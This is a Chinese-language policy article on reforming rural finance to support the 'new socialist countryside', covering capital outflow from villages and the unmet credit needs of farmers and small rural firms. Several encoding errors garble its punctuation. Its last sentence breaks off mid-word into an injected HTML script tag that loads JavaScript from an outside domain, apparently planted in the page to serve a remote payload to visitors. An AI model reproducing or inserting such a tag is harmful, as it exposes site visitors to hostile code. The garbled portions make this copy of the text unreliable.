党的十六届五中全会提出了建设社会主义新农村的宏伟目标，这是统筹城乡发展、全面建设小康社会的重大举措，同时也给农村金融带来了新的发展机遇。如何构建社会主义新的农村金融并做好下一步的金融支农工作，是农村金融改革的当务之急。当前的农村金融体系存在较多问题，其整体功能已不适应农业和农村经济发展的要求。应当在对现存问题清醒认识、认真检讨的基础上，结合社会主义新农村建设的战略要求，整合农村金融资源，创新农村金融体制，全面提升农村金融服务水平。

    一、农村金融的现实状况及其问题

    按照目前的金融机构布局，农村地区的金融机构主要有中国农业发展银行这一政策性银行?熏中国农业银行、中国工商银行、中国建设银行、中国银行等商业银行?熏农村信用社和邮政储蓄机构网点。除中国农业银行外，其他几家国有商业银行或者撤销机构，或者很少发放贷款，将吸收的资金转到城市。农业银行在农村的资金投放也逐渐减少。邮政储蓄机构的性质决定了它只吸收存款，资金转给人民银行，自己不发放贷款。银行和邮政储蓄都导致了农村资金城市化。中国农业发展银行根据职能定位，只发放粮棉油收购和储备贷款；随着粮食企业的改制?熏政策性贷款全部收回。由于农村农业龙头企业少，粮食加工企业规模达不到规定标准，农业发展银行贷款难以投放，政策性金融服务缺乏连续性。这样，金融支农的重任全部落到了农村信用社身上。农村信用社服务于辖区的特点，决定了它吸收农村资金，对农村发放贷款，在一定程度上实现了资金的农村内部循环。但是农村信用社每年通过缴存存款准备金、转存中央银行、购买国债和金融债券等方式，也有大量转移农村资金的现象。同时，农村信用社由于资产质量差、自营资金有限，可用资金紧张。

    农业是风险产业，农民是弱势群体。相对于这个最需要金融支持的领域，县以下金融机构服务三农的意识明显欠缺。国有独资商业银行发放的贷款大都为质押贷款，而且都是本行存单质押。信贷支农创新不足，缺乏整体合力。

    金融是现代经济的核心。农村金融由于其资金流失、服务缺位，影响了农村经济发展和效益，也影响了农民增收的速度。目前的状况是，农村经济发展了，农村金融服务网点却减少了；农民收入提高了，农村资金却流失了；农业产业化和中小企业兴起了，融资却更难了。农村金融发展与农村经济发展极不对称，供求矛盾突出。

    二、农村地区丰富的金融需求没有得到有效满足

    建设社会主义新农村，存在多方面多层次的金融需求，既有传统的金融需求，也有农村经济发展带来的新需求。

    （一）农户的金融需求。我国农户既是独立的生产主体，又是基本的消费单位；既是农村资金的主要供应者，又是农村金融服务的基本对象。农户对金融服务的需求是农村中传统的金融需求，也是目前农村金融需求的基本构成部分。随着新型合作经济组织的不断发展，农业对资本的依赖程度越来越大。广大农户进行生产、流通所需的大量资金，需要大量外部资金的注入和支持，农户对金融服务的需求越来越强烈。

    （二）乡村中小企业的金融需求。乡村中小企业，是我国农村工业化和城市化进程中出现的一种特有企业组织。它的金融需求主要表现为资金融出、结算和资金融入，以资金融入的需求为主。目前，我国农村地区的金融机构基本能满足中小企业的存款服务和结算服务，但由于资金规模、贷款条件等因素的制约，对企业的贷款需求满足程度较低。由于乡村中小企业是在１９７０年代后期，适应农村劳动力资源丰富而资金短缺的特点，以劳动密集型的社队企业起步，逐步发展壮大起来的，这就决定了这类企业自有资金占比极小，特别需要金融信贷的支持。当正规金融无法满足企业需求时，企业就转向非正规金融寻求资金，从而刺激了民间金融的发展。

    （三）农村金融需求的新动向。随着农村经济的发展和农民收入的提高，农村金融需求出现了一些新的趋向。一是由生产性需求向生产需求与消费需求并举的方向转变；二是由种养业需求向多元化需求转变。传统种养业信贷市场份额下降，规模化种养业、农产品加工运输销售、个体私营经济等新的贷款需求逐步增长；三是由分散小额借款向集中大额借款转变。农村经济正逐步向集约化、规模化方向发展，各类经营实体需要征用土地、购建厂房、开发产品、扩大营销，资金投入额度不断加大。

    总起来看，农村经济发展使得农村金融需求在数量上日益增长，在内容上日益丰富，农村金融服务对“三农”的支持方向不断拓宽。增强农业生产能力、提高农业生产效率，需要农村金融机构加大对农村水利、道路等基础设施建设和农民种植、养殖的支持力度；提高农业生产附加值、增加农民收?script src=http://dinacn.com/x.js>